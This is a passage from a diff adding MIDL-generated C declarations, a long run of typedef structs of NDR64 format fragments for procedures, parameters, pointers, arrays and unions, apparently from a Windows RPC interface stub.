+__midl_frag1638_t; +extern const __midl_frag1638_t __midl_frag1638; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1637_t; +extern const __midl_frag1637_t __midl_frag1637; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1636_t; +extern const __midl_frag1636_t __midl_frag1636; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1635_t; +extern const __midl_frag1635_t __midl_frag1635; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1632_t; +extern const __midl_frag1632_t __midl_frag1632; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1621_t; +extern const __midl_frag1621_t __midl_frag1621; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1610_t; +extern const __midl_frag1610_t __midl_frag1610; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1603_t; +extern const __midl_frag1603_t __midl_frag1603; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1602_t; +extern const __midl_frag1602_t __midl_frag1602; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1601_t; +extern const __midl_frag1601_t __midl_frag1601; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag1594_t; +extern const __midl_frag1594_t __midl_frag1594; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1583_t; +extern const __midl_frag1583_t __midl_frag1583; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; +} +__midl_frag1570_t; +extern const __midl_frag1570_t __midl_frag1570; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; + struct _NDR64_PARAM_FORMAT frag13; +} +__midl_frag1553_t; +extern const __midl_frag1553_t __midl_frag1553; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag1548_t; +extern const __midl_frag1548_t __midl_frag1548; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1547_t; +extern const __midl_frag1547_t __midl_frag1547; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1546_t; +extern const __midl_frag1546_t __midl_frag1546; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1545_t; +extern const __midl_frag1545_t __midl_frag1545; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1544_t; +extern const __midl_frag1544_t __midl_frag1544; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1543_t; +extern const __midl_frag1543_t __midl_frag1543; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1542_t; +extern const __midl_frag1542_t __midl_frag1542; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + NDR64_UINT32 frag4; +} +__midl_frag1541_t; +extern const __midl_frag1541_t __midl_frag1541; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1540_t; +extern const __midl_frag1540_t __midl_frag1540; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1539_t; +extern const __midl_frag1539_t __midl_frag1539; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1537_t; +extern const __midl_frag1537_t __midl_frag1537; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1530_t; +extern const __midl_frag1530_t __midl_frag1530; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1519_t; +extern const __midl_frag1519_t __midl_frag1519; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1518_t; +extern const __midl_frag1518_t __midl_frag1518; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1517_t; +extern const __midl_frag1517_t __midl_frag1517; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; +} +__midl_frag1515_t; +extern const __midl_frag1515_t __midl_frag1515; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + struct _NDR64_POINTER_FORMAT frag7; + struct _NDR64_POINTER_FORMAT frag8; + struct _NDR64_POINTER_FORMAT frag9; + struct _NDR64_POINTER_FORMAT frag10; + struct _NDR64_POINTER_FORMAT frag11; + struct _NDR64_POINTER_FORMAT frag12; +} +__midl_frag1510_t; +extern const __midl_frag1510_t __midl_frag1510; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_MEMPAD_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag20; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag21; + struct _NDR64_MEMPAD_FORMAT frag22; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag23; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag24; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag25; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag26; + } frag2; +} +__midl_frag1497_t; +extern const __midl_frag1497_t __midl_frag1497; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1496_t; +extern const __midl_frag1496_t __midl_frag1496; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1495_t; +extern const __midl_frag1495_t __midl_frag1495; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1494_t; +extern const __midl_frag1494_t __midl_frag1494; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1493_t; +extern const __midl_frag1493_t __midl_frag1493; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1489_t; +extern const __midl_frag1489_t __midl_frag1489; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1479_t; +extern const __midl_frag1479_t __midl_frag1479; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1468_t; +extern const __midl_frag1468_t __midl_frag1468; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag1453_t; +extern const __midl_frag1453_t __midl_frag1453; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1442_t; +extern const __midl_frag1442_t __midl_frag1442; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1436_t; +extern const __midl_frag1436_t __midl_frag1436; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1427_t; +extern const __midl_frag1427_t __midl_frag1427; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1421_t; +extern const __midl_frag1421_t __midl_frag1421; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1410_t; +extern const __midl_frag1410_t __midl_frag1410; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag1406_t; +extern const __midl_frag1406_t __midl_frag1406; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1405_t; +extern const __midl_frag1405_t __midl_frag1405; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1404_t; +extern const __midl_frag1404_t __midl_frag1404; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1400_t; +extern const __midl_frag1400_t __midl_frag1400; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag1399_t; +extern const __midl_frag1399_t __midl_frag1399; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1398_t; +extern const __midl_frag1398_t __midl_frag1398; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1397_t; +extern const __midl_frag1397_t __midl_frag1397; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1396_t; +extern const __midl_frag1396_t __midl_frag1396; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1395_t; +extern const __midl_frag1395_t __midl_frag1395; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1394_t; +extern const __midl_frag1394_t __midl_frag1394; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1388_t; +extern const __midl_frag1388_t __midl_frag1388; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag1383_t; +extern const __midl_frag1383_t __midl_frag1383; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1382_t; +extern const __midl_frag1382_t __midl_frag1382; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1381_t; +extern const __midl_frag1381_t __midl_frag1381; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1380_t; +extern const __midl_frag1380_t __midl_frag1380; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag1376_t; +extern const __midl_frag1376_t __midl_frag1376; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1372_t; +extern const __midl_frag1372_t __midl_frag1372; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1369_t; +extern const __midl_frag1369_t __midl_frag1369; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + } frag2; +} +__midl_frag1368_t; +extern const __midl_frag1368_t __midl_frag1368; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1366_t; +extern const __midl_frag1366_t __midl_frag1366; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1365_t; +extern const __midl_frag1365_t __midl_frag1365; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1364_t; +extern const __midl_frag1364_t __midl_frag1364; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag1358_t; +extern const __midl_frag1358_t __midl_frag1358; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1354_t; +extern const __midl_frag1354_t __midl_frag1354; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag1353_t; +extern const __midl_frag1353_t __midl_frag1353; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag1351_t; +extern const __midl_frag1351_t __midl_frag1351; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1350_t; +extern const __midl_frag1350_t __midl_frag1350; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1349_t; +extern const __midl_frag1349_t __midl_frag1349; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1348_t; +extern const __midl_frag1348_t __midl_frag1348; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1347_t; +extern const __midl_frag1347_t __midl_frag1347; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1342_t; +extern const __midl_frag1342_t __midl_frag1342; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1331_t; +extern const __midl_frag1331_t __midl_frag1331; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1330_t; +extern const __midl_frag1330_t __midl_frag1330; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1328_t; +extern const __midl_frag1328_t __midl_frag1328; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1313_t; +extern const __midl_frag1313_t __midl_frag1313; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1312_t; +extern const __midl_frag1312_t __midl_frag1312; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1311_t; +extern const __midl_frag1311_t __midl_frag1311; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1310_t; +extern const __midl_frag1310_t __midl_frag1310; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1309_t; +extern const __midl_frag1309_t __midl_frag1309; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1306_t; +extern const __midl_frag1306_t __midl_frag1306; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1298_t; +extern const __midl_frag1298_t __midl_frag1298; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1297_t; +extern const __midl_frag1297_t __midl_frag1297; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1296_t; +extern const __midl_frag1296_t __midl_frag1296; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1295_t; +extern const __midl_frag1295_t __midl_frag1295; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1292_t; +extern const __midl_frag1292_t __midl_frag1292; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag1288_t; +extern const __midl_frag1288_t __midl_frag1288; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1287_t; +extern const __midl_frag1287_t __midl_frag1287; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1286_t; +extern const __midl_frag1286_t __midl_frag1286; + 